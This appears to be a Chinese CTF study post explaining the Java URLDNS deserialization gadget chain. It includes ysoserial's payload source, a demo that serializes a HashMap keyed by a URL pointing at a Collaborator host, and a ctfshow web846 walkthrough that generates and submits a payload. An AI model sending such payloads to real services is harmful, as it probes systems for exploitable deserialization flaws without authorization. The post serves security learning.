前言
年轻人的第一条java反序列化链子
参考:
https://boogipop.com/2023/03/02/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%A0%94%E7%A9%B6
https://fushuling.com/index.php/2023/01/30/java%e5%ae%89%e5%85%a8%e7%ac%94%e8%ae%b0/
https://blog.csdn.net/rfrder/article/details/119678492
URLDNS
条件
这条利用链不能进行命令执行,只可以发送一次DNS请求,但它完全使用Java内置的类构造,对第三方库没有依赖,此外在目标没有回显的时候(java题里很常见),能够通过DNS请求得知是否存在反序列化漏洞
ysoserial poc
直接看URLDNS.java的主体部分
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
在这个URLDNS类中,ysoserial会调用这个类的getObject
方法来获得payload,这个方法最后返回一个对象,即被序列化的对象,在这里是HashMap ht
接下来我们分析一下这段poc,
第一部分:首先从URL的创建开始
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
- 先是用
URLStreamHandler
创建了一个句柄,这个句柄可以打开一个指定的url(URLStreamHandler 是一个抽象类,这里 ysoserial 写了一个 SilentURLStreamHandler 类继承 URLStreamHandler ,重写了 getHostAddress 方法,防止在 put 的时候就触发) - 创建一个哈希表HashMap,调用 put 方法将 URL 对象 u 作为key存入到了哈希表中
第二部分:
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
- 这里利用反射将url对象u的 hashCode 设置成了-1,为什么要这么做我们一会在分析具体的触发过程时会提到
- 最后返回了
HashMap
对象ht,并用PayloadRunner运行该利用链
那么URLDNS链的重点就在这个HashMap类上
跟踪HashMap类
我们知道调用链需要满足重写readObject
方法,由此进行反序列化
因此我们f12查看java.util.HashMap
的源码定义,找到其中的readObject
方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
可以看到这里重写了readObject
方法,具体原因如下:
HashMap中,由于Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的,对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。Hash值不同导致的结果就是:有可能一个HashMap对象的反序列化结果与序列化之前的结果不一致。即有可能序列化之前,Key=’AAA’的元素放在数组的第0个位置,而反序列化值后,根据Key获取元素的时候,可能需要从数组为2的位置来获取,而此时获取到的数据与序列化之前肯定是不同的
在readObject
方法的最后,可以看到putVal
里面将HashMap
的键名计算了hash
hash函数
继续跟踪hash
方法
在hash方法中调用了key.hashCode
方法,而Object key
我们可控,也就是我们可以调用可控类中的 hashCode 方法
我们知道在 URLDNS.java 中是把URL对象u传入了key中,即调用 hashCode 的时候调用的是 java.net.URL.hashCode
所以我们直接f12去找java.net.URL
的hashCode
方法
只要传入URL的实例对象,那么就会触发URL.hashCode
,并且这里有个判断,假如 hashCode 不为 -1 则直接return hashCode
,反之就进入我们的目的函数handler.hashCode()
,这就是我们前面提到要将 hashCode 的值设置为-1的原因
当我们new一个URL对象后,就进入了目标函数
f12跟进这个函数
可以发现getHostAddress(u)
函数,根据函数名也知道这是获取主机地址的函数,在网络上也就是一次dns查询
也就是说,假如存在反序列化漏洞,那么我可以传入我们VPS的地址,并开启一个监听,这样就可以校验是否存在Java反序列化漏洞
关于put
在上面的分析中,漏洞的入口在HashMap
的hash()
方法,我们通过重写的 readObject 调用
putVal(hash(key), key, value, false, false);
但是翻一下 HashMap 的源码可以发现里面最常用的 put 方法就有:
也就是说抛开反序列化的话,只要用一次 put 就会触发一次 URLDNS
那么为了不让 put 时就触发 URLDNS,ysoserial重写了URLStreamHandler.getHostAddress()
我们也重写测试一下,指定 handler 为我们重写的 TestURLStreamHandler
public class Main {
public static void main(String[] args) throws IOException {
HashMap ht=new HashMap();
String url = "http://dyfuyho1stuv3ad58l1kmctia9g14rsg.oastify.com";
URLStreamHandler handler = new TestURLStreamHandler();
URL u = new URL(null,url,handler);
ht.put(u,url);
}
}
class TestURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
这样就不会再因为ht.put
触发URLDNS了
Gadget
思维导图 by huamang
主要的目标是调用 URLStreamHandler->getHostAddress(u)
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress.getByName()
demo
仿照ysoserial写一个urldns链序列化与反序列化的demo
Main.java
package com.example;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
public class Main {
public static void Serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap ht=new HashMap();
String url = "http://dyfuyho1stuv3ad58l1kmctia9g14rsg.oastify.com";
URLStreamHandler handler = new TestURLStreamHandler();
URL u = new URL(null,url,handler);
ht.put(u,url);
Class clazz = Class.forName("java.net.URL");
Field field = clazz.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u,-1);
Serialize(ht);
}
}
class TestURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
ois.java
package com.example;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.net.URL;
import java.util.HashMap;
public class ois {
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
public static <serialize> void main(String[] args) throws IOException, ClassNotFoundException {
serialize unser =(serialize)unserialize("1.bin");
System.out.println(unser);
}
}
利用burp的collaboration功能起一个域名监听
实战
ctfshow web846
ctfshow会对你post提交的ctfshow参数进行base64解码
然后进行反序列化
构造出对当前题目地址的dns查询即可获得flag
在linux下执行命令
java -jar ysoserial-all.jar URLDNS http://7845016f-8187-4375-92c3-90e82fe40990.challenge.ctf.show|base64
然后把得到的base64字符串用burpsuite传入即可